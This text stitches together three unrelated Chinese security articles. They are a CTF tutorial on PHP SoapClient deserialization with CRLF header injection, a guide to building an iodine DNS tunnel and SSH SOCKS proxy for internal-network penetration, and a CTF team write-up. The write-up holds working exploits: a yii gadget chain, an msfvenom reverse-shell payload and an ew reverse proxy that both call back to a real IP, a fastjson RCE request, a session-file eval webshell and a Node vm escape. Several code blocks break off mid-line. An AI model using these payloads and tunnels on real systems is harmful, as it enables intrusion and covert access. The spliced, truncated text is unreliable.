SoapClient原生类在开发以及安全中利用
Soap模块的安装:
PHP使用SOAP协议调用接口,需要安装soap模块插件,在使用之前使用phpinfo()方法输出判断安装的PHP是否已安装了该插件。
SoapClient原生类介绍:
SoapClient采用HTTP作为底层通讯协议,XML作为数据传送的格式。
SoapClient原生类官方介绍如下:
class SoapClient {
/* Methods */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
可以看到,根据以上代码,在新建一个SoapClient的类对象的时候,需要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options。而wsdl在开发中十分常见,在安全中用的比较少,因此接下来的的部分篇幅,将分为SoapClient在开发中的应用以及SoapClient在安全中的应用这两块。
SoapClient在开发中的应用
wsdl这参数之所以在开发中如此常用,是因为它能非常快速的调用现成接口。
用一个实例代码介绍一下wsdl参数:
<?php
$url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
$client = new SoapClient($url);
$params = array(
"qqCode" => "1043045300"
);
$result = $client->qqCheckOnline($params);
print_r($result);
?>
执行结果如下:
stdClass Object
(
[qqCheckOnlineResult] => Y
)
其中url中的值是QQ开放的WSDL接口,在这个接口中qqCheckOnline方法可以用来查询QQ是否在线
当然,也可以执行以下代码,查询QQ开放的WSDL接口还支持哪些类型以及方法:
<?php
$url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
$client = new SoapClient($url);
print_r($client->__getTypes());
print_r($client->__getFunctions());
?>
执行结果如下:
Array
(
[0] => struct qqCheckOnline {
string qqCode;
}
[1] => struct qqCheckOnlineResponse {
string qqCheckOnlineResult;
}
)
Array
(
[0] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
[1] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
)
根据上方的两个例子,我们对SoapClient原生类应该有了部分了解。
但是由于SOAP协议本质上其实还是HTTP协议,只是改变了传输过程中的内容为XML形式,而在实际开发过程中,更有些接口对于请求的HTTP头也做一些校验限制,因此需要设置HTTP的请求头以适应需求。
有关设置HTTP请求头的下面的篇幅会讲到。
SoapClient在安全中的应用
由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。
因此在CTF中通常会出现一种存在调用不存在的方法、并且需要我们伪造请求头的题目。
这种时候,SoapClient正好可以给我们解决问题。
下面拿一个例题来详细讲解SoapClient在CTF中是如何运用的。
首先题目是给了flag.php的源码,源码如下:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
打开题目后,内容如下:
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
我们先审计flag.php,前半部分是对XFF头进行了处理:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
explode() 函数可以把字符串打散为数组。
array_pop() 弹出并返回 array 数组的最后一个单元,并将数组 array 的长度减一。
这三行代码实际上就是,将服务器得到的XFF的最后一个删除,留下的是倒数第二个。
假如我们有以下代码:
<?php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);print_r($ip);
当我们XFF传入以下内容:
127.0.0.1 #返回:空127.0.0.1,127.0.0.2 #返回:127.0.0.1127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2
接下来我们审计index.php的代码
<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
可以看到对传入的vip参数进行反序列化,并且调用getFlag方法,显然此处没有类定义了getFlag这个方法,因此我们考虑利用SoapClient原生类调用未知方法后执行call魔术方法,然后构造请求读取flag.php
接下来,我们手动在本地做测试:
我们有如下代码,其中uri中的9998端口是为了和location中的9999端口做区分:
<?php$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));$client->getFlag();
然后我们nc监听9999端口
nc -lvvp 9999
刷新页面之后,可以得到以下请求内容:
仔细观察后,发现是一个POST请求,并且SOAPAction的值是可控的
但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded)
因此我们可以想办法伪造User-Agent头:
修改后的代码如下:
<?php$ua = "Lxxx";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag();
nc监听后,得到的结果如下:
可以看到,User-Agent也被注入进去了,此时,User-Agent就成为了我们的可控参数
当User-Agent成为了我们的可控参数后,User-Agent下方的Content-Type也同样可以被伪造,利用\r\n换行即可伪造
再次修改后的代码如下:
<?php$ua = "Lxxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag();
代码中有几个注意的点
因为$ua中用到了\r\n这两个换行符,因此要用双引号包裹
HTTP请求头之间的参数用一组\r\n分割即可
HTTP请求头与POSTDATA之间要用两个\r\n分割.
设置User-Agent时,应写成user_agent
同样的,nc监听后,结果如下:
其中紫色方框中的是有效的HTTP请求,因为我们设置了Content-Length的值为13,超出13个字符以外的都会被服务器丢弃,所以影响不大。
在本地测试完成了,接下来我们将相关参数修改与题目相对应。
修改后的payload如下:
<?php$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));print_r(urlenco
得到结果:
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%
然后传入payload:
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+applica
这样flag就被写到了flag.txt中,访问之后即可拿到flag:
但是这题本身是可以直接访问flag.php页面,伪造请求头得到flag的。
不过当有了cloudfare代理,无法直接在本地伪造请求头时,就需要利用SoapClient类来构造请求。
实验名称:https://www.yijinglab.com/expc.do?ce=0fbc7585-56ba-4598-87ce-bd8e7504d00b
内网渗透之DNS隧道搭建(1)
前言
年初有幸参加了一次hvv,我主要负责内网渗透的部分,包括代理搭建,横向移动等等。那个时候,也是刚刚接触内网没两个月,赶鸭子上架的学了一下就上了战场。好在运气不错,通过weblogic的反序列化RCE拿到系统权限,后来发现了一个尴尬的问题,目标主机不出网,借助搜索引擎,大佬们都在用reGeorgh和Pystinger,这两款工具都是使用webshell来进行socks代理,进而穿透内网,后面确实也达到目的,进内网水了波分。回学校复盘的时候,发现还有一种更厉害的姿势。。。搭建DNS隧道。
DNS隧道介绍
DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。
DNS隧道搭建工具推荐
DNS隧道搭建的工具有很多,包括iodine,dns2tcp,dnscat等,综合体验了一下,还是推荐大家使用iodine,非常的简单方便。
前置准备
因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名,这里以腾讯云为例:
第一条A类记录,告诉域名系统,"dns.xxx.com"的IP地址是"175.xxx.xxx.xxx"
第二条NS记录,告诉域名系统,"dns2tcp.xxx.com"的域名由"dns.xxx.com"进行解析。
最后这条"dns2tcp.xxx.com"的DNS就会被"175.xxx.xxx.xxx"的主机(也就是我们的VPS),给解析掉。
配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。
iodine进行隧道搭建
1.安装iodine,这里以Linux为例,如果是Windows系统,就下载安装对应版本的iodine即可。
apt-get install iodine
2.在VPS上运行iodine的服务端iodined,运行之后VPS上会多一个虚拟网卡地址:
iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD
#-f:在前台运行
#-c:禁止检查所有传入请求的客户端IP地址。
#-P:客户端和服务端之间用于验证身份的密码。
#-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
#这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突
#注意!填写的地址为NS记录
3.运行客户端iodine,这里使用kali,kali默认是安装好iodine的:
iodine -f -P d1m0n dns2tcp.xxx.com -M 200
#-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
#-M:指定上行主机的大小。
#-m:调节最大下行分片的大小。
#-f:在前台运行
#-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
#-O:指定数据编码规范。
#-P:客户端和服务端之间用于验证身份的密码。
#-L:指定是否开启懒惰模式,默认开启。
#-I:指定两个请求之间的时间间隔。
两条命令,DNS隧道就已经搭好了,可以ping一下我们的VPS(ip:192.168.0.1)看一下,是否能通:
到此,我们的任务只完成一半,对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动,socks代理工具很多,这里介绍一个比较简单轻便的--ssh,ssh通常都用来登录远程主机,传输的内容全部经过加密处理,同样它内置了命令可以作为代理服务器使用。这里假设,我们把恶意DNS服务器作为跳板机,kali作为攻击机器,在kali这边配置一下:
ssh -N -D 8080 user@192.168.0.1
#-N 指示SSH不要启动shell,因为我们只是想创建代理
#-D 设置动态端口转发,SOCKS代理端口为8080
#user 我们服务器上的用户
#192.168.0.1 tun接口上的iodine服务器
输入完VPS的ssh密码之后,就开始进行转发,这里配置一下proxychains4
vim /etc/proxychains4.conf
最后验证一下我们的代理有没有搭好:
proxychains4 curl http://www.baidu.com
大功告成,后面就是内网漫游时间~
实验名称:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014111916340800001
祥云杯题解
bad_cat战队WRITEUP
一、 战队信息
战队名称:bad_cat
战队排名:6
二、 解题情况
三、 解题过程
web
1、**ezyii**
网上搜yii的1day
https://xz.aliyun.com/t/9948#toc-6 思路类似于第四条链子
exp:
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
然后post就行
flag{19fefeeb-989a-4017-8001-7af62b9e511b}
2、**层层穿透**
直接传jar可以反弹shell进内网入口
参考 https://blog.csdn.net/cainiao17441898/article/details/118877408
msfvenom -p java/meterpreter/reverse_tcp LHOST=82.157.25.143 LPORT=11112 -f jar > rce111.jar
use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set lhost 82.157.25.143
set lport 11112
run -j
先监听后上传,就不会报500的错误了
此时再去submit
sessions
sessions id 执行拿到shell再 bash -i 2>&1 ,上传一个ew内网穿透(https://github.com/idlefire/ew),chmod下
msf的upload shell执行
./ew -s rssocks -d 82.157.25.143 -e 18888
扫描c段,看10.10.1.11:8080
post登陆
抓个包拿session
Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112
源码解压看pom.xml依赖
漏洞点在fastjson,
先post admin/123456登陆 /doLogin
再参考https://github.com/safe6Sec/Fastjson 构造rce的post
注意要大于2w
POST /admin/test HTTP/1.1
Host: 10.10.1.11:8080
Content-Type: application/json
cmd: cat /flag
Content-Length: 31124
Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400
"a":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
}
flag{966fc4a2-e291-4136-84be-5bfd19b949e2}
3、**安全检测**
读http://127.0.0.1读到源码
可以读到/etc/passwd
http://127.0.0.1/admin/include123.php?u=/etc/passwd
读到session
http://127.0.0.1/admin/include123.php?u=/tmp/session_ef81f6c1aca58c2b24f9d63bf77dba07
http://127.0.0.1/admin/include123.php?u=/etc/passwd#<?php eval(base64_decode('c3lzdGVtKCcvZ2V0ZmxhZy5zaCcpOw=='));?>输入就可以写到session里面了
用#注释掉后面的一句话木马,不被访问,要的是这个路由,记录路由后,再换个浏览器的phpsession访问一下即可
ls发现了/getflag.sh 因为过滤了flag,base一下才行
flag{c2c15ff3-0341-49f0-9997-36b107b9cf3a}
4、**crawler_z**
第一次我注册的yenan/yenan,填写profile后观察url出现token1
第二次admin/admin,直接ssrf伪造/user/verify?token=token1
可以指定爬取
vps启动一个http
Python -m SimpleHTTPServer 11111
然后去访问 http://82.157.39.20:11111/escape.html#oss-cn-beijing.ichunqiu.com
读到了,后面构造js的vm逃逸,document.write直接在html里面写,省去外带了
<script>
document.write(this.constructor.constructor.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString());
</script>
flag{f0425be6-3e46-472a-8879-e19525839caf}
5、Secrets_Of_Admin
源码拿到
admin@e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645
登陆
js的数组绕过,这样检测就没有某个元素绕不过正则了,写checksum为crhyyds,提交post时候url编码下
content[]=%3Cscript%3Elocation.href%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin&filename%3D..%2Ffiles%2Fflag&checksum%3Dcrhyyds%22%3B%3C%2Fscript%3E
得到flag为:flag{65453076-effe-48dc-98d5-d0d235f766f8}
reverse
1、**Rev_APC**
生成dll代码
知道了 sha3-256,但是后面并没用上。
核心逻辑:在dll的0x1800015C0函数中,与sys有两种方式通信。
dll的0x1800015C0函数中调用了NtRequestWaitReplyPort,这个sys中有NtReplyWaitReceivePort函数负责接收。sys真正处理数据的函数0x14000298C,算法比较好看懂。
dll中调用DeviceIOControl,对应sys中的函数为0x140003660。
后面就是看算法了。
exp:
from zio import *
def fun6(a, b):
for i in range(32):
c = a[i]
if (c >= 33) & (c <= 79):
a[i] = (c - 80) & 0xff
b[i] = (b[i]+a[i])&0xff
elif (c >= 81) & (c <= 127):
a[i] = c - 48
b[i] ^= (a[i] >> 4)
elif (c > 128):
a[i] = c - 48
b[i] = (b[i]-a[i])&0xff
return a, b
def defun6(a, b):
for i in range(32):
c = a[i]
if (c >= 33) & (c <= 79):
a[i] = (c - 80) & 0xff
b[i] = (b[i]-a[i])&0xff
elif (c >= 81) & (c <= 127):
a[i] = c - 48
b[i] ^= (a[i] >> 4)
elif (c > 128):
a[i] = c - 48
b[i] = (b[i]+a[i])&0xff
return a, b
def fun5(a, b):
for i in range(32):
b[i] ^= a[i]
return a, b
def fun4(a, b):
for i in range(32):
a[i] = (a[i] - 80) & 0xff
for i in range(16):
b[2 * i] ^= (16 * a[2 * i]) & 0xff
b[2 * i + 1] ^= ((a[2 * i]) >> 4) & 0xf
return a, b
def fun3(a, b):
for i in range(32):
b[i] ^= a[i]
return a, b
def fun2(a, b):
for i in range(32):
a[i] = (a[i] - 80) & 0xff
b[i] ^= ((a[i]>>4)&0xf) | ((a[i]<<4)&0xf0)
return a, b
def fun1(a, b):
for i in range(32):
a[i] = (a[i]+16)&0xff
b[i] ^= a[i]
return a, b
def enc():
b = [ord(c) for c in 'flag{12345678901234567890123456}']
#b = [91, 36, 164, 45, 64, 21, 144, 29, 194, 5, 189, 39, 240, 29, 80, 137, 178, 73, 216, 105, 177, 245, 80, 59, 99, 154, 94, 170, 79, 175, 153, 126]
'''
a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]
a4 = []
for i in range(32):
a4.append(ord(a3[i])^a2[i%len(a2)])
'''
a = []
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]
for i in range(32):
c = 0
for j in range(i+1):
c ^= a2[j]
a.append(c)
orders = [0, 5, 5, 2, 2, 3, 4, 4, 3, 2, 0, 3, 0, 3, 2, 1, 5, 1, 3, 1, 5, 5, 2, 4, 0, 0, 4, 5, 4, 4, 5, 5][::-1]
print '----------'
for i in range(32):
print a,','
if orders[i] == 0:
fun1(a, b)
elif orders[i] == 1:
fun2(a, b)
elif orders[i] == 2:
fun3(a, b)
elif orders[i] == 3:
fun4(a, b)
elif orders[i] == 4:
fun5(a, b)
elif orders[i] == 5:
fun6(a, b)
print '----------'
print (b)
def get_aas2(orders):
b = [ord(c) for c in 'flag{12345678901234567890123456}']
a = []
a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]
a4 = []
for i in range(32):
a4.append(ord(a3[i])^a2[i%len(a2)])
for i in range(32):
c = 0
for j in range(i+1):
c ^= a4[j]
a.append(c)
aas = []
for i in range(32):
aas.append(a[:])
if orders[i] == 0:
fun1(a, b)
elif orders[i] == 1:
fun2(a, b)
elif orders[i] == 2:
fun3(a, b)
elif orders[i] == 3:
fun4(a, b)
elif orders[i] == 4:
fun5(a, b)
elif orders[i] == 5:
fun6(a, b)
return aas
def get_aas(orders):
b = [ord(c) for c in 'flag{12345678901234567890123456}']
a = []
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]
for i in range(32):
c = 0
for j in range(i+1):
c ^= a2[j]
a.append(c)
aas = []
for i in range(32):
aas.append(a[:])
if orders[i] == 0:
fun1(a, b)
elif orders[i] == 1:
fun2(a, b)
elif orders[i] == 2:
fun3(a, b)
elif orders[i] == 3:
fun4(a, b)
elif orders[i] == 4:
fun5(a, b)
elif orders[i] == 5:
fun6(a, b)
return aas
def dec(aas, orders, seed):
#b = [101, 46, 7, 63, 148, 47, 164, 57, 127, 160, 41, 36, 28, 175, 229, 120, 228, 102, 147, 78, 254, 68, 207, 240, 223, 246, 251, 73, 235, 24, 215, 30]
#b = [132, 13, 239, 89, 97, 68, 214, 77, 139, 199, 61, 244, 220, 107, 175, 6, 222, 75, 100, 91, 167, 143, 135, 74, 72, 246, 81, 54, 83, 64, 165, 216]
bs = l64(0x2F34A83A1B38C557) + l64(0xEE8F2F04E4C69739) + l64(0x486FC9246780515E) + l64(0xEBC2C2B0C7BD7F5B)
b = [ord(i) for i in bs]
re_orders = orders[::-1]
for i in range(32):
a = aas[31-i]
if re_orders[i] == 0:
fun1(a, b)
elif re_orders[i] == 1:
fun2(a, b)
elif re_orders[i] == 2:
fun3(a, b)
elif re_orders[i] == 3:
fun4(a, b)
elif re_orders[i] == 4:
fun5(a, b)
elif re_orders[i] == 5:
defun6(a, b)
#print b
s = ''.join(chr(i) for i in b)
is_printable = True
for i in range(10):
if b[i] > 0x80:
is_printable = False
break
if is_printable:
print seed, s
return is_printable
def srand(s):
global seed
seed = s
# microsoft c runtime implementation
def rand():
global seed
seed = (seed * 214013 + 2531011) % 2**64
return (seed >> 16)&0x7fff
def gen_order(seed=1):
srand(seed)
orders = []
for i in range(32):
orders.append(rand() % 6)
return orders
orders = gen_order(seed=1)
aas = get_aas(orders)
dec(aas, orders, 1)
flag{Kmode_Umode_Communication!}
2、**勒索解密**
分析的程序主要逻辑为先计算出固定秘钥+时间戳结合生成的key进行sha256,再以此作为key将生成将.bmp文件内容进行aes加密,加密iv为0
代码如下:
#coding:utf-8
import base64
from hashlib import *
from Crypto.Cipher import AES
def decrypt(data, key):
cryptos = AES.new(key, AES.MODE_ECB)
decrpytBytes = list(base64.b64decode(data))
decrpytBytes = bytes(decrpytBytes)
data = cryptos.decrypt(decrpytBytes)
return data
key = "f4b6bb19108b56fc60a61fc967c0afbe71d2d9048ac0ffe931c901e75689eb46"[:32]
key = bytes.fromhex(key)
f1 = open("flag.bmp.ctf_crypter", "rb")
f2 = open("flag.bmp", "wb")
data = f1.read()
def xor(enc, data):
res = []
for i in range(len(a)):
res += [enc[i]^data[i]]
return bytes(res)
for i in range(len(data)//16):
enc = base64.b64encode(data[16*i:16*(i+1)])
if i > 0:
ans = xor(decrypt(enc, key), data[16*(i-1):16*i])
else:
ans = decrypt(enc, key)
fp2.write(ans)
f1.close()
f2.close()
解密得到flag如下:
3、LightningSystem**
从hex生成bin文件。bin文件用ida打开,选择arm架构。分析程序发现从spi接口读取了512字节的数据。通过tips链接下载的logic2软件打开logic.sal可以看到4个波形图,其中chall 2为输入,根据波形提取出512字节数据。继续分析LightningSystem.bin代码,可以看出是个vm,写脚本得到vmcode的功能。继续分析vmcode的代码,得到算法,最后求解exp如下:
求解
def brute(v4, v5, a, b, j):
should_out = [0x12, 0x67, 0x0F, 0xDB, 0xF6, 0x0A, 0x0F, 0x39, 0xF6, 0xC9, 0xF5, 0xC1, 0xF2, 0xA3, 0x0D, 0xD0, 0xF5, 0x01, 0x0C, 0x6F, 0x0E, 0x39, 0xF2, 0x80, 0xF5, 0xE4, 0x0C, 0xD7, 0xF8, 0x68, 0x0C, 0x96, 0xF5, 0xA5, 0x0F, 0x9F, 0x0F, 0x31, 0xF9, 0x2E, 0x1B, 0x07]
v13 = a
v14 = b
v15 = 7 * (j ^ 0x4D)
v16 = (v5 + 7 * (j ^ 0x4D)) & 0xff
v18 = v13 - 0x20 + v16
v19 = (v14 - 0x20) << 7
o1 = ((v4 + ((v19 + v18) >> 8) + ((v15 + v5) >> 8)) & 0xff)
o2 = ((v18 + v19) & 0xff)
if (o1 == should_out[2*j]) & (o2 == should_out[2*j+1]):
print a, b
return True
return False
v4 = 234
v5 = 6
s = ''
for k in range(21):
find = False
for a in range(0x20, 0x80):
for b in range(0x20, 0x80):
if brute(v4, v5, a, b, k):
s += chr(a)+chr(b)
find = True
break
if find:
break
if not find:
print ('fail')
print s
得到flag如下:flag{31fd5c30-dc82-abd0-741b-9ba425f2e692}
4、**Rev_Dizzy**
看反编译的代码,完了拿比较的数据反过来进行加减异或
代码太大,就不贴了,在附属文档(命名为deal.cpp)
跑出flag如下:
crypto
1、**Guess**
先是一个sha256的爆破,一共要爆破四位,10秒内出结果,第一关就过去了,第二关和矩阵运算有关,key的矩阵给了第一列的数据【119,201,718,647】,有了这行数据和最后矩阵相乘的结果,可以通过sage函数key.solve_left()来求得中间生成的随机矩阵。
但这个函数的限制条件没调好,现在只能解出一个无用的特解。
首先求key,key是一个204的矩阵,乘以一个412的矩阵得到hint中的矩阵。也就是A*R=B,已知B求A。https://ctf.njupt.edu.cn/546.html#diamond该博客中有解法,其中的代码稍微修改修改即可
msg = open(r'C:\\Users\\wcj\\Desktop\\guess_c31fa29ffba2ff77b12dec354b8909e6\\hint', 'r').readlines()
B = []
for var in msg:
var = var[1:-2].split(' ')
for x in var:
B.append(int(x))
BB = []
for i in range(0, len(B), 20):
BB.append(B[i: i + 20])
As = []
for i in range(1000):
shuffle(BB)
for line in matrix(len(BB), 20, BB).LLL(delta=float(randint(30000, 99999)/100000)):
if line[0] < 0:
line = -line
if line not in As and all(map(lambda x: 100 <= x <= 1000, line)):
print(len(BB), line)
As.append(line)
a = [241, 232, 548, 400, 186, 333, 646, 727, 286, 877, 810, 121, 237, 745, 201, 542, 244, 396, 158, 641]
b = [119, 521, 142, 637, 614, 746, 299, 416, 638, 288, 995, 498, 639, 585, 114, 885, 558, 783, 899, 751]
c = [718, 550, 349, 939, 148, 355, 942, 685, 313, 577, 184, 130, 307, 983, 611, 903, 271, 530, 566, 427]
d = [647, 918, 613, 936, 461, 281, 977, 888, 128, 653, 309, 780, 526, 216, 944, 123, 430, 860, 113, 129]
m = matrix([b, a, c, d])
K = []
for i in range(20):
for j in range(4):
K.append(m[j][i])
print(K)
print(len(K)==80)
题目使用的加密算法是paillier,该算法有乘法同态性质,也就是D(c1c2)=m1+m2,因此有D(c^k)=km。第三步传给服务器两个明文,服务器返回一个密文。第四步可以将这个密文的平方传回给服务器,服务器返回的就是明文的二倍,这样就可以计算出使用的key,进而判断出第三步传回的是哪个密文
import socketfrom pwn import *from pwnlib.util.iters import mbruteforcefrom hashlib import sha256K = [119, 241, 718, 647, 521, 232, 550, 918, 142, 548, 349, 613, 637, 400, 939, 936, 614, 186, 148, 461, 746, 333, 355, 281, 299, 646, 942, 977, 416, 727, 685, 888, 638, 286, 313, 128, 288, 877, 577, 653
flag{e87fdfb6-8007-4e1c-861f-5bde3c8badb3}
2、**myRSA**
根据加密函数推导
def encry(message,key,p,q,e): k1,k2 = key[random.randint(0,127)],key[random.randint(0,127)] x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1) y = 2*p*q + p + q z = k1 + k2 c = pow(b2l(message),e,p*q) return x * c + y * c + zn == p*qencry == x*c+y*c+z == c*(x+y)+z == c*(p^2*(p+3*q-1)+q^2*(q+3*p-1)+2*p
当message已知时,即c已知,则:
( (p+q)^3 - (p+q)^2 + (p+q) - 4*n ) + z//c == encry//cbit_length(z) ≈ bit_length(c) (p+q)^3 - (p+q)^2 + (p+q) ≈ encry//c + 4*n p+q ≈ iroot(encry//c + 4*n,3)
得到p+q后,即可分解得到p和q,然后
encry(falg) == c*( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q)+zencry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q ) ≈ cc ≈ encry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q )pow(flag,e,p*q) == cflag = pow(c,d,p*q)
交互过程如图:
具体代码如下:
